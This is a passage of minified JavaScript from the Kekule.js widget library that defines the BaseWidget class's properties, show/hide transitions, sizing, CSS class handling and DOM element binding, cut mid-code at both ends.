Kekule.StyleUtils.isDisplayed(this.getElement())},setter:function(e,t){Kekule.StyleUtils.setDisplay(this.getElement(),e),t||this.widgetShowStateChanged(this.isShown())}}),this.defineProp("showHideType",{dataType:DataType.INT,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("showHideCaller",{dataType:"Kekule.Widget.BaseWidget",serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("showHideCallerPageRect",{dataType:DataType.HASH,serializable:!1,scope:Class.PropertyScope.PRIVATE}),this.defineProp("standaloneOnShowHide",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC}),this.defineProp("finalizeAfterHiding",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("layout",{dataType:DataType.INT,setter:function(e){this.getPropStoreFieldValue("layout")!==e&&(this.setPropStoreFieldValue("layout",e),this.layoutChanged())}}),this.defineProp("useCornerDecoration",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("useCornerDecoration",e),e?this.addClassName(i.CORNER_ALL):this.removeClassName(i.CORNER_ALL)}}),this.defineProp("useNormalBackground",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("useNormalBackground",e),e?this.addClassName(i.NORMAL_BACKGROUND):this.removeClassName(i.NORMAL_BACKGROUND)}}),this.defineProp("styleMode",{dataType:DataType.INT,enumSource:Kekule.Widget.StyleMode,setter:function(e){e!==this.getStyleMode()&&(this.getElement()&&(e===Kekule.Widget.StyleMode.INHERITED?(this.removeClassName(i.STYLE_UNDEPENDENT),this.addClassName(i.STYLE_INHERITED)):(this.addClassName(i.STYLE_UNDEPENDENT),this.removeClassName(i.STYLE_INHERITED))),this.setPropStoreFieldValue("styleMode",e))}}),this.defineProp("inheritedStyles",{dataType:DataType.ARRAY,setter:function(e){this._applyToAllInheritedStyles(this.getInheritedStyles(),!1),this.setPropStoreFieldValue("inheritedStyles",e||[]),this._applyToAllInheritedStyles(this.getInheritedStyles(),!0)}}),this.defineProp("showText",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showText",e),e?(this.removeClassName(i.HIDE_TEXT),this.addClassName(i.SHOW_TEXT)):(this.addClassName(i.HIDE_TEXT),this.removeClassName(i.SHOW_TEXT))}}),this.defineProp("showGlyph",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("showGlyph",e),e?(this.removeClassName(i.HIDE_GLYPH),this.addClassName(i.SHOW_GLYPH)):(this.addClassName(i.HIDE_GLYPH),this.removeClassName(i.SHOW_GLYPH))}}),this.defineProp("allowTextWrap",{dataType:DataType.BOOL,serialzable:!1,setter:function(e){e?this.removeClassName(i.TEXT_NO_WRAP):this.addClassName(i.TEXT_NO_WRAP)}}),this.defineProp("selfEnabled",{dataType:DataType.BOOL,scope:Class.PropertyScope.PRIVATE}),this.defineProp("inheritEnabled",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("inheritEnabled",e),this.stateChanged()}}),this.defineProp("enabled",{dataType:DataType.BOOL,serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("selfEnabled");if(this.getInheritEnabled()){var t=this.getParent();t&&(e=e&&t.getEnabled())}return e},setter:function(e){var t=this.getElement();e?t.removeAttribute("disabled"):t.setAttribute("disabled","true"),(t=this.getCoreElement())!=this.getElement()&&(e?t.removeAttribute("disabled"):t.setAttribute("disabled","true")),this.setPropStoreFieldValue("selfEnabled",e),this.stateChanged()}}),this.defineProp("selfStatic",{dataType:DataType.BOOL,scope:Class.PropertyScope.PRIVATE}),this.defineProp("inheritStatic",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("inheritStatic",e),this.stateChanged()}}),this.defineProp("static",{dataType:DataType.BOOL,serializable:!1,getter:function(){var e=this.getPropStoreFieldValue("selfStatic");if(this.getInheritStatic()){var t=this.getParent();t&&(e=e||t.getStatic())}return e},setter:function(e){this.setPropStoreFieldValue("selfStatic",e),this.stateChanged()}}),this.defineProp("inheritState",{dataType:DataType.BOOL,setter:function(e){this.setPropStoreFieldValue("inheritState",e),this.stateChanged()}}),this.defineProp("state",{dataType:DataType.INT,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(){var e;if(this.getInheritState()){var t=this.getParent();t&&(e=t.getState())}else e=this.getEnabled()?this.getIsActive()?n.ACTIVE:this.getIsHover()?n.HOVER:this.getIsFocused()?n.FOCUSED:n.NORMAL:n.DISABLED;return e}}),this.defineProp("shortcuts",{dataType:DataType.ARRAY,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC}),this.defineProp("shortcutKeys",{dataType:DataType.ARRAY,getter:function(){for(var e=[],t=this.getShortcuts()||[],i=0,n=t.length;i<n;++i)e.push(t[i].key);return e},setter:function(t){this._updateShortcuts(t&&e.toArray(t))}}),this.defineProp("shortcutKey",{dataType:DataType.STRING,serializable:!1,getter:function(){return this.getShortcutKeys()[0]},setter:function(e){this.setShortcutKeys(e)}}),this.defineProp("cursor",{dataType:DataType.VARIANT,serializable:!1,getter:function(){return this.getStyleProperty("cursor")},setter:function(e){DataType.isArrayValue(e)?Kekule.StyleUtils.setCursor(this.getElement(),e):this.setStyleProperty("cursor",e)}}),this.defineProp("isHover",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){this.setPropStoreFieldValue("isHover",e),e||this.isCaptureMouse()||this.setPropStoreFieldValue("isActive",!1);var t=this.getGlobalManager();t&&t.notifyWidgetHoverChanged(this,e),this.stateChanged()}}),this.defineProp("isActive",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){this.setPropStoreFieldValue("isActive",e),e&&this.focus();var t=this.getGlobalManager();t&&t.notifyWidgetActiveChanged(this,e),this.stateChanged()}}),this.defineProp("isFocused",{dataType:DataType.BOOL,serializable:!1,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getDocument(),t=this.getCoreElement();if(e&&t&&e.activeElement)return e.activeElement===t},setter:function(e){this.setPropStoreFieldValue("isFocused",e);var t=this.getGlobalManager();t&&t.notifyWidgetFocusChanged(this,e);var i=this.getCoreElement();i&&(i.focus&&e&&Kekule.HtmlElementUtils.isFormCtrlElement(i)&&i.focus(),i.blur&&!e&&i.blur()),this.stateChanged()}}),this.defineProp("minDimension",{dataType:DataType.HASH}),this.defineProp("enableDimensionTransform",{dataType:DataType.BOOL}),this.defineProp("autoResizeConstraints",{dataType:DataType.HASH,setter:function(e){this.setPropStoreFieldValue("autoResizeConstraints",e);var t=this.getGlobalManager()||Kekule.Widget.globalManager;e?(this.autoResizeToClient(),t.registerAutoResizeWidget(this)):t.unregisterAutoResizeWidget(this)}}),this.defineProp("observeElemResize",{dataType:DataType.BOOL,getter:function(){return this.getPropStoreFieldValue("observeElemResize")&&Kekule.BrowserFeature.resizeObserver},setter:function(e){this.getPropStoreFieldValue("observeElemResize")!=!!e&&(this.setPropStoreFieldValue("observeElemResize",!!e),e?this._installElemResizeObserver():this._uninstallElemResizeObserver())}}),this.defineProp("autoAdjustSizeOnPopup",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("isDialog",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("isPopup",{dataType:DataType.BOOL,scope:Class.PropertyScope.PUBLIC}),this.defineProp("popupCaller",{dataType:DataType.BOOL,scope:Class.PropertyScope.PRIVATE}),this.defineProp("modalInfo",{dataType:DataType.HASH,scope:Class.PropertyScope.PUBLIC}),this.defineProp("enablePeriodicalExec",{dataType:DataType.BOOL}),this.defineProp("periodicalExecDelay",{dataType:DataType.INT}),this.defineProp("periodicalExecInterval",{dataType:DataType.INT}),this.defineElemAttribMappingProp("hint","title"),this.defineProp("action",{dataType:"Kekule.Action",serializable:!1,setter:function(e){var t=this.getAction();t!==e&&(t&&t.unlinkWidget&&(t.unlinkWidget(this),this.unlinkAction(t)),this.setPropStoreFieldValue("action",e),e&&e.linkWidget&&(e.linkWidget(this),this.linkAction(e)))}}),this.defineProp("defaultChildActions",{dataType:"Kekule.ActionList",serializable:!1,setter:null,getter:function(e){var t=this.getPropStoreFieldValue("defaultChildActions");return!t&&e&&(t=new Kekule.ActionList,this.setPropStoreFieldValue("defaultChildActions",t)),t}}),this.defineProp("defaultChildActionMap",{dataType:DataType.OBJECT,serializable:!1,setter:null,getter:function(e){var t=this.getPropStoreFieldValue("defaultChildActionMap");return!t&&e&&(t=new Kekule.MapEx,this.setPropStoreFieldValue("defaultChildActionMap",t)),t}}),this.defineProp("iaControllerMap",{dataType:DataType.OBJECT,serializable:!1,setter:null,scope:Class.PropertyScope.PUBLIC,getter:function(){var e=this.getPropStoreFieldValue("iaControllerMap");return e||(e=new Kekule.HashEx,this.setPropStoreFieldValue("iaControllerMap",e)),e}}),this.defineProp("defIaControllerId",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC}),this.defineProp("defIaController",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(){return this.getIaControllerMap().get(this.getDefIaControllerId())}}),this.defineProp("activeIaControllerId",{dataType:DataType.STRING,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:function(e){if(e!==this.getActiveIaControllerId()){this.setPropStoreFieldValue("activeIaControllerId",e);var t=this.getActiveIaController();t&&t.activated&&t.activated(this)}}}),this.defineProp("activeIaController",{dataType:DataType.OBJECT,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null,getter:function(){return this.getIaControllerMap().get(this.getActiveIaControllerId())}}),this.defineProp("htmlEventDispatcher",{dataType:"Kekule.Widget.HtmlEventDispatcher",serializable:!1,scope:Class.PropertyScope.PRIVATE,setter:null}),this.defineProp("observingGestureEvents",{dataType:DataType.ARRAY,serializable:!1,scope:Class.PropertyScope.PUBLIC,setter:null})},doFinalize:function(){this._elemResizeObserver&&(this._elemResizeObserver.disconnect&&this._elemResizeObserver.disconnect(),this._elemResizeObserver=null),this._clearShortcuts(),this.getHtmlEventDispatcher().finalize();var e=this.getDefaultChildActionMap();e&&(e.finalize(),this.setPropStoreFieldValue("defaultChildActionMap",null));var t=this.getDefaultChildActions();t&&(t.finalize(),this.setPropStoreFieldValue("defaultChildActions",null)),this.setAction(null),this.setParent(null),this.releaseChildWidgets();var i=this.getElement();this.setElement(null),this.destroyElement(i),this.getGlobalManager()&&this.getGlobalManager().notifyWidgetFinalized(this),this.tryApplySuper("doFinalize")},initPropValues:function(){this.tryApplySuper("initPropValues"),this.setEnableObjectChangeEvent(!0)},doObjectChange:function(e){(this.tryApplySuper("doObjectChange",[e]),e.indexOf("readOnly")>=0&&this.hasProperty("readOnly"))&&(this.getPropValue("readOnly")?this.addClassName(i.STATE_READONLY):this.removeClassName(i.STATE_READONLY))},invokeEvent:function(e,t){t||(t={}),t.widget||(t.widget=this),this.tryApplySuper("invokeEvent",[e,t]);var i=this.getGlobalManager();i&&i.notifyWidgetEventFired(this,e,t)},getGlobalManager:function(){return Kekule.Widget.Utils.getGlobalManager(this.getDocument())},getCoreElement:function(){return this.getElement()},getChildrenHolderElement:function(){return this.getCoreElement()},getTextSelectable:function(){return!1},canUsePlaceHolderOnElem:function(e){return!1},doPropChanged:function(e,t){"width"!==e&&"height"!==e||this.resized()},getActualBubbleUiEvents:function(){var e=this.getParent();return!!this.getBubbleUiEvents()||(this.getInheritBubbleUiEvents()&&e&&e.getActualBubbleUiEvents?e.getActualBubbleUiEvents():void 0)},releaseChildWidgets:function(){for(var e=this.getChildWidgets(),t=e.length-1;t>=0;--t)e[t].finalize()},defineElemAttribMappingProp:function(e,t,i){var n=Object.extend({dataType:DataType.STRING,serializable:!1,getter:function(){return this.getElement()&&this.getElement().getAttribute(t)},setter:function(e){this.getElement()&&this.getElement().setAttribute(t,e)}},i||{});return this.defineProp(e,n)},defineElemStyleMappingProp:function(e,t,i){var n=Object.extend({dataType:DataType.STRING,serializable:!1,getter:function(){return this.getStyleProperty(t)},setter:function(e){this.setStyleProperty(t,e)}},i||{});return this.defineProp(e,n)},getHigherLevelObj:function(){return this.getParent()},linkAction:function(e){},unlinkAction:function(e){},getChildActionClass:function(e,t){return Kekule.ActionManager.getActionClassOfName(e,this,t)},getChildAction:function(e,t){var i=null,n=this.getChildActionClass(e,t);if(n){var s=this.getDefaultChildActionMap(!0);(i=s.get(n))||(i=new n,this.getDefaultChildActions(!0).add(i),s.set(n,i))}return i},_updateShortcuts:function(e){var t=this.getShortcuts()||[],i=t.length,n=e&&e.length||0;if(n<i)for(var s=n;s<i;++s)t[s].finalzie();else{var r=this.getDocument();for(s=i;s<n;++s){var a=new Kekule.Widget.Shortcut(this);t.push(a),a.registerToGlobal(r)}}for(s=0;s<n;++s)t[s].setKey(e[s]);this.setPropStoreFieldValue("shortcuts",t)},_clearShortcuts:function(){var e=this.getShortcuts()||[],t=e.length;if(t){for(var i=0;i<t;++i)e[i].finalize();this.setShortcuts(null)}},linkStyleResource:function(e,t){var i=e instanceof Kekule.Widget.StyleResource?e:Kekule.Widget.StyleResourceManager.getResource(e);return i&&i.linkTo(t||this),this},unlinkStyleResource:function(e,t){var i=e instanceof Kekule.Widget.StyleResource?e:Kekule.Widget.StyleResourceManager.getResource(e);return i&&i.unlinkFrom(t||this),this},getStyleProperty:function(e,t){var i=t||this.getElement(),n=i[this.STYLE_RES_FIELD];return n&&n[e]?n[e]:i.style[e]},setStyleProperty:function(e,t,i){var n,s=i||this.getElement();if(s)if(t instanceof Kekule.Widget.StyleResource?n=t:DataType.getType(t)===DataType.STRING&&t.startsWith(Kekule.Widget.StyleResourceNames.PREFIX)&&(n=Kekule.Widget.StyleResourceManager.getResource(t)),n){(a=s[this.STYLE_RES_FIELD])||(a={},s[this.STYLE_RES_FIELD]=a);var r=a[e];r&&this.unlinkStyleResource(r,s),n&&this.linkStyleResource(n,s),a[e]=n}else{var a;s.style[e]=t,(a=s[this.STYLE_RES_FIELD])&&a[e]&&this.unlinkStyleResource(a[e],s)}return this},removeStyleProperty:function(e,t){var i=t||this.getElement();return Kekule.StyleUtils.removeStyleProperty(i.style,e),this},setStyleProperties:function(e,t){for(var i=Object.getOwnPropertyNames(e||{}),n=0,s=i.length;n<s;++n){var r=i[n],a=e[r];this.setStyleProperty(r,a,t)}return this},removeStyleProperties:function(t,i){for(var n=0,s=e.toArray(t).length;n<s;++n)this.removeStyleProperty(name,i);return this},getComputedStyle:function(e){return Kekule.StyleUtils.getComputedStyle(this.getCoreElement(),e)},getComputedCustomStyle:function(e){var t;return t=e.indexOf("-")<0?e.dasherize():e,this.getComputedStyle("--"+t)},isStyleInherited:function(e){return(this.getInheritedStyles()||[]).indexOf(e)>=0},_setInheritedStyleValues:function(t,i,n){for(var s=e.toArray(t),r=this.getInheritedStyles()||{},a=0,o=s.length;a<o;++a){var l=s[a],u=r.indexOf(l);i?(!n&&u<0&&(r.push(l),this.notifyInheritedStyleChanged(l,!0)),this.setStyleProperty(l,"inherit")):(this.removeStyleProperty(l),!n&&u>=0&&(r.splice(u,1),this.notifyInheritedStyleChanged(l,!1)))}return this},notifyInheritedStyleChanged:function(e,t){},addInheritedStyle:function(e){return this._setInheritedStyleValues(e,!0)},removeInheritedStyle:function(e){return this._setInheritedStyleValues(e,!1)},clearInheritedStyles:function(){this.setPropStoreFieldValue("inheritedStyles",[])},_applyToAllInheritedStyles:function(e,t){Kekule.ObjUtils.isUnset(t)&&(t=!0);for(var i=0,n=e.length;i<n;++i){var s=e[i];this._setInheritedStyleValues(s,t,!0)}},_addChild:function(e){if(e){var t=this.getChildWidgets();t.indexOf(e)<0&&(t.push(e),this.childWidgetAdded(e),this.childrenModified())}},_insertChild:function(e,t){if(e){var i=this.getChildWidgets(),n=t?i.indexOf(t):i.length;i.indexOf(e)>=0?n>=0&&this._moveChild(e,n):(n<0&&(n=i.length),i.splice(n,0,e),this.childWidgetAdded(e),this.childrenModified())}},_removeChild:function(e){if(e){var t=this.getChildWidgets(),i=t.indexOf(e);if(i>=0){t.splice(i,1);var n=this.getChildrenHolderElement(),s=e.getElement();s&&Kekule.DomUtils.isDescendantOf(s,n)&&s.parentNode.removeChild(s),this.childWidgetRemoved(e),this.childrenModified()}}},_moveChild:function(e,t){e&&Kekule.ArrayUtils.changeItemIndex(this.getChildWidgets(),e,t)&&(this.childWidgetMoved(e,t),this.childrenModified())},childrenModified:function(){},childWidgetAdded:function(e){},childWidgetRemoved:function(e){},childWidgetMoved:function(e,t){},indexOfChild:function(e){return this.getChildWidgets().indexOf(e)},hasChild:function(e,t){var i=this.getChildWidgets(),n=i.indexOf(e)>=0;if(!n)for(var s=0,r=i.length;s<r;++s){var a=i[s];if(a.hasChild&&(n=a.hasChild(e,t)))break}return n},getChildAtIndex:function(e){return this.getChildWidgets()[e]},getPrevSibling:function(){var e=this.getParent();if(e){var t=e.indexOfChild(this);return this.getChildAtIndex(--t)}return null},getNextSibling:function(){var e=this.getParent();if(e){var t=e.indexOfChild(this);return this.getChildAtIndex(++t)}return null},_haltPrevShowHideProcess:function(){Kekule.Widget.showHideManager&&this.__$showHideTransInfo&&this.__$showHideTransInfo.halt()},_setEnableShowHideEvents:function(e){this._enableShowHideEvents=e},show:function(e,t,i,n){if(this.getElement()&&!this.__$isShowing)return this._haltPrevShowHideProcess(),this.doShow(e,t,i,n),this},doShow:function(e,i,n,s){this.__$isShowing=!0;var r=this,a=function(){r.__$showHideTransInfo=null,r.widgetShowStateDone(!0),r.__$isShowing=!1,i&&i()};this.setShowHideType(n),Kekule.ObjUtils.notUnset(n)&&(this.setIsPopup(n===Kekule.Widget.ShowHideType.DROPDOWN||n===Kekule.Widget.ShowHideType.POPUP),n===Kekule.Widget.ShowHideType.DIALOG?(this.setIsDialog(!0),n=Kekule.Widget.ShowHideType.POPUP):this.setIsDialog(!1)),this.widgetShowStateBeforeChanging(!0);var o=this.getGlobalManager();n!==Kekule.Widget.ShowHideType.DROPDOWN&&n!==Kekule.Widget.ShowHideType.POPUP||o.preparePopupWidget(this,e,n),!Kekule.Widget.showHideManager||s&&s.instantly?(this.setDisplayed(!0,!0),this.setVisible(!0,!0),a()):this.__$showHideTransInfo||(this.__$showHideTransInfo=Kekule.Widget.showHideManager.show(this,e,a,n,s)),this.setShowHideCaller(e),e&&this.setShowHideCallerPageRect(t.getElemBoundingClientRect(e.getElement&&e.getElement()||e)),function(){r.widgetShowStateChanged(!0)}.defer()},flash:function(e,t,i,n){var s=this;return this.show(t,function(){i&&i(),setTimeout(s.hide.bind(s),e)},n),this},hide:function(e,t,i,n){if(this.getElement()&&!this.__$isHiding)return this.__$isHiding=!0,e||(e=this.getShowHideCaller()),i||(i=this.getShowHideType()),this._haltPrevShowHideProcess(),this.doHide(e,t,i,n),this},doHide:function(e,t,i,n){var s=Object.extend({callerPageRect:this.getShowHideCallerPageRect()},n),r=s.useVisible,a=this,o=this.getFinalizeAfterHiding(),l=function(){a.__$showHideTransInfo=null,a.widgetShowStateDone(!1);var e=a.getGlobalManager();i!==Kekule.Widget.ShowHideType.DROPDOWN&&i!==Kekule.Widget.ShowHideType.POPUP||e.unpreparePopupWidget(a),a.__$isHiding=!1,t&&t(),o&&a.finalize()};this.widgetShowStateBeforeChanging(!1),Kekule.Widget.showHideManager&&!s.instantly?(this.__$showHideTransInfo&&this.__$showHideTransInfo.halt(),this.__$showHideTransInfo||(this.__$showHideTransInfo=Kekule.Widget.showHideManager.hide(this,e,l,i,!1,s))):(r?this.setVisible(!1,!0):this.setDisplayed(!1,!0),l()),function(){a.widgetShowStateChanged(!1)}.defer()},dismiss:function(e,t,i,n){return this._isDismissed=!0,this.hide(e,t,i,n)},isShown:function(e){return(this.isInDomTree()||e)&&this.getElement()&&this.getVisible()&&this.getDisplayed()},widgetShowStateBeforeChanging:function(e){e&&this.autoResizeToClient()},widgetShowStateChanged:function(e,t){if(Kekule.ObjUtils.isUnset(e)&&(e=this.isShown()),!Kekule.ObjUtils.notUnset(this._lastShown)||this._lastShown!==e){this._lastShown=e,e&&(this._isDismissed=!1);var i=this.getGlobalManager();this.getIsPopup()&&(e?i.registerPopupWidget(this):i.unregisterPopupWidget(this)),this.getIsDialog()&&(e?i.registerDialogWidget(this):i.unregisterDialogWidget(this)),this.doWidgetShowStateChanged(e),this._enableShowHideEvents&&this.invokeEvent("showStateChange",{widget:this,isShown:e,isDismissed:this._isDismissed,byDomChange:t})}},doWidgetShowStateChanged:function(e){},widgetShowStateDone:function(e){},isInDomTree:function(){var e=this.getElement();return Kekule.DomUtils.isInDomTree(e,null,{acrossShadowRoot:!0})},focus:function(){return this.setIsFocused(!0),this},blur:function(){return this.setIsFocused(!1),this},getBoundingClientRect:function(e){if(this.getDisplayed())return Kekule.HtmlElementUtils.getElemBoundingClientRect(this.getElement(),e);var t=Kekule.StyleUtils.getDisplayed(this.getElement()),i=Kekule.StyleUtils.getVisibility(this.getElement());try{this.setVisible("hidden"),this.setDisplayed("");var n=Kekule.HtmlElementUtils.getElemBoundingClientRect(this.getElement(),e)}finally{this.setDisplayed(t),this.setVisible(i)}return n},getPageRect:function(e){if(this.getDisplayed())return Kekule.HtmlElementUtils.getElemPageRect(this.getElement(),e);var t=Kekule.StyleUtils.getDisplayed(this.getElement()),i=Kekule.StyleUtils.getVisibility(this.getElement());try{this.setVisible("hidden"),this.setDisplayed("");var n=Kekule.HtmlElementUtils.getElemPageRect(this.getElement(),e)}finally{this.setDisplayed(t),this.setVisible(i)}return n},getDimension:function(){return this.getPageRect()},setDimension:function(e,t,i){var n=Kekule.ObjUtils.notUnset,s=this.getMinDimension(),r=s&&s.width,a=s&&s.height,o=!1;if(this.getEnableDimensionTransform()){var l,u=n(e)&&r?e/r:null,d=n(t)&&a?t/a:null;if(l=u&&d?Math.min(u,d):u||d)return l>=1?(this._setTransformScale(1),o=!0,this.doSetDimension(e,t,i)):(!d||u<=d?(h=r,g=t&&t/l):(g=a,h=e&&e/l),this._setTransformScale(l),o=!0,this.doSetDimension(h,g,i));o=!1}if(!o){var h=n(e)?r?Math.max(e,r):e:null,g=n(t)?a?Math.max(t,a):t:null;return this._setTransformScale(1),this.doSetDimension(h,g,i)}},doSetDimension:function(e,t,i){var n=!1,s=Kekule.ObjUtils.notUnset;return s(e)&&(this.getStyle().width="number"==typeof e?e+"px":e,n=!0),s(t)&&(this.getStyle().height="number"==typeof t?t+"px":t,n=!0),n&&!i&&(this.getObserveElemResize()||this.resized()),this.objectChange(["width","height"]),this},_setTransformScale:function(e){var t=this.getElement();1!==e?(t.style.transformOrigin="0 0",t.style.transform="scale("+e+")"):Kekule.StyleUtils.removeStyleProperty(t.style,"transform")},updateDimensionTransform:function(){var e=this.getDimension();this.setDimension(e.width,e.height,!0)},autoResizeToClient:function(){var e=this.getAutoResizeConstraints();if(e){var t=Kekule.DocumentUtils.getClientDimension(this.getDocument()),i=e.width?t.width*e.width:null,n=e.height?t.height*e.height:null;this.setDimension(i,n)}},resized:function(){if(!this._isResizing){this._isResizing=!0;try{this.doResize(),this.invokeEvent("resize",{widget:this})}finally{this._isResizing=!1}}},doResize:function(){},_installElemResizeObserver:function(){if(Kekule.BrowserFeature.resizeObserver){if(!this._elemResizeObserver){var e=this;this._elemResizeObserver=new ResizeObserver(function(t){for(var i=0,n=t.length;i<n;++i){var s=t[i];s.target&&s.contentBoxSize&&s.target===e.getElement()&&e.resized()}})}this._elemResizeObserver.observe(this.getElement())}},_uninstallElemResizeObserver:function(){Kekule.BrowserFeature.resizeObserver&&this._elemResizeObserver&&this._elemResizeObserver.unobserve(this.getElement())},layoutChanged:function(){var e=this.getLayout();this._layoutClassName&&this.removeClassName(this._layoutClassName),this._layoutClassName=this.getLayoutClassName(e),this._layoutClassName&&this.addClassName(this._layoutClassName)},getLayoutClassName:function(e){var t=Kekule.Widget.Layout;return e===t.VERTICAL?i.LAYOUT_V:e===t.HORIZONTAL?i.LAYOUT_H:e===t.GRID?i.LAYOUT_G:null},stateChanged:function(){this._stateClassName&&this.removeClassName(this._stateClassName),this._stateClassName=this.getStateClassName(this.getState()),this._stateClassName&&this.addClassName(this._stateClassName);for(var e=this.getChildWidgets(),t=0,i=e.length;t<i;++t)e[t].stateChanged()},getStateClassName:function(e){var t=Kekule.Widget.State;return e===t.ACTIVE?i.STATE_ACTIVE:e===t.HOVER?i.STATE_HOVER:e===t.FOCUSED?i.STATE_FOCUSED:e===t.DISABLED?i.STATE_DISABLED:i.STATE_NORMAL},createElement:function(){var e=this.getDocument(),t=this.doCreateRootElement(e);return this.setElement(t),t},doCreateRootElement:function(e){},doCreateSubElements:function(e,t){return[]},destroyElement:function(e){(e=e||this.getElement())&&e.parentNode&&e.parentNode.removeChild(e)},appendToElem:function(e){return e&&e.appendChild(this.getElement()),this},insertToElem:function(e,t){return e.insertBefore(this.getElement(),t),this},removeFromDom:function(){var e=this.getElement(),t=e.parentNode;t&&t.removeChild(e)},appendToWidget:function(e){return this.setParent(e),this.appendToElem(e.getChildrenHolderElement()),this},insertToWidget:function(e,t){return this.setParent(e),t?this.insertToElem(e.getChildrenHolderElement(),t.getElement()):this.appendToElem(e.getChildrenHolderElement()),this},insertedToDom:function(){return this.widgetDomStateChanged(!0),this.widgetShowStateChanged(this.isShown(),!0),this.doInsertedToDom()},doInsertedToDom:function(){},removedFromDom:function(){return this.widgetDomStateChanged(!1),this.widgetShowStateChanged(!1,!0),this.doRemovedFromDom()},doRemovedFromDom:function(){},widgetDomStateChanged:function(e){this.doWidgetDomStateChanged(e),this.invokeEvent("domStateChange",{widget:this,isInDom:e})},doWidgetDomStateChanged:function(e){},domElemAdded:function(e){return this.doDomElemAdded(e)},doDomElemAdded:function(e){},domElemRemoved:function(e){return this.doDomElemRemoved(e)},doDomElemRemoved:function(e){},getWidgetClassName:function(){var e=Kekule.Widget.HtmlClassNames.BASE;return e+=" "+(this.getStyleMode()===Kekule.Widget.StyleMode.INHERITED?i.STYLE_INHERITED:i.STYLE_UNDEPENDENT),this.getElement()&&!Kekule.HtmlElementUtils.isFormCtrlElement(this.getCoreElement())&&this.getUseNormalBackground()&&(e+=" "+Kekule.Widget.HtmlClassNames.NORMAL_BACKGROUND),e+=" "+this.doGetWidgetClassName()},doGetWidgetClassName:function(){return""},hasClassName:function(e){return t.hasClass(this.getElement(),e)},addClassName:function(e,i){if(this.getElement())if(i){var n=this.getCustomHtmlClassName();n=Kekule.StrUtils.addTokens(n,e),this.setCustomHtmlClassName(n)}else t.addClass(this.getElement(),e);else this._pendingHtmlClassNames=Kekule.StrUtils.addTokens(this._pendingHtmlClassNames,e);return this},removeClassName:function(e,i){if(this.getElement())if(i){var n=this.getCustomHtmlClassName();n=Kekule.StrUtils.removeTokens(n,e),this.setCustomHtmlClassName(n)}else t.removeClass(this.getElement(),e);else this._pendingHtmlClassNames=Kekule.StrUtils.removeTokens(this._pendingHtmlClassNames,e);return this},toggleClassName:function(e,i){if(this.getElement())if(i){var n=this.getCustomHtmlClassName();n=Kekule.StrUtils.toggleTokens(n,e),this.setCustomHtmlClassName(n)}else t.toggleClass(this.getElement(),e);return this},isElementBindable:function(e){var t=this.getBindableElemTagNames();if(t){var i=e.tagName;return t.indexOf(i.toLowerCase())>=0}return!0},getBindableElemTagNames:function(){return this.getPrototype().hasOwnProperty("BINDABLE_TAG_NAMES")?this.BINDABLE_TAG_NAMES:null},bindElement:function(e){if(e){if(!this.isElementBindable(e))return void Kekule.error(Kekule.$L("ErrorMsg.WIDGET_CAN_NOT_BIND_TO_ELEM").format(this.getClassName(),e.tagName));this.beginUpdate();try{var n=e.className;n&&this.setCustomHtmlClassName(this.getCustomHtmlClassName()||" "+n);var s=this.getDefaultTabIndex();Kekule.ObjUtils.notUnset(s)&&!e.getAttribute("tabindex")&&(e.tabIndex=s);var r=Kekule.DomUtils,a=Kekule.HtmlElementUtils;!function(e){for(var t=r.getDirectChildElems(e),n=t.length-1;n>=0;--n){var s=t[n];a.hasClass(s,i.DYN_CREATED)&&e.removeChild(s)}}(e);var o=this.getDocument().createDocumentFragment(),l=this.doCreateSubElements(this.getDocument(),o);if(l&&l.length)for(var u=0,d=l.length;u<d;++u){var h=l[u];a.addClass(h,i.DYN_CREATED)}(l&&l.length||o.children&&o.children.length||o.childNodes&&o.childNodes.length)&&e.appendChild(o),this.doBindElement(e),this._applyToAllInheritedStyles(this.getInheritedStyles(),!0),Kekule.DomUtils.hasAttribute(e,"disabled")&&this.setEnabled(!1);var g=this.getWidgetClassName();t.addClass(e,g),(g=this.getCustomHtmlClassName())&&t.addClass(e,g),this.getTextSelectable()||t.addClass(e,i.NONSELECTABLE),this._pendingHtmlClassNames&&(t.addClass(e,this._pendingHtmlClassNames),this._pendingHtmlClassNames="");var c=e.getAttribute("width"),p=e.getAttribute("height");(Kekule.ObjUtils.notUnset(c)||Kekule.ObjUtils.notUnset(p))&&(c=parseFloat((c||"").toString())||0,p=parseFloat((p||"").toString())||0,this.setDimension(c,p));var E=Kekule.DomUtils.getDataset(e);if(E)for(var f in E){var T=E[f];try{Kekule.Widget.Utils.setWidgetPropFromElemAttrib(this,f,T)}catch(e){Kekule.warn(e)}}var C=this.getTouchAction();Kekule.ObjUtils.notUnset(C)&&this.setTouchAction(C),this.getIsDumb()||this.installUiEventHandlers(e),e.__$kekule_widget__=this,this.elementBound(e)}finally{this.endUpdate(),this.invokeEvent("bind",{widget:this,element:e})}}},doBindElement:function(e){},elementBound:function(e){},unbindElement:function(e){if(e){this.getIsDumb()||this.uninstallUiEventHandlers(e);var i=this.getWidgetClassName();t.removeClass(e,i),this.doUnbindElement(e),e.__$kekule_widget__=void 0;try{delete 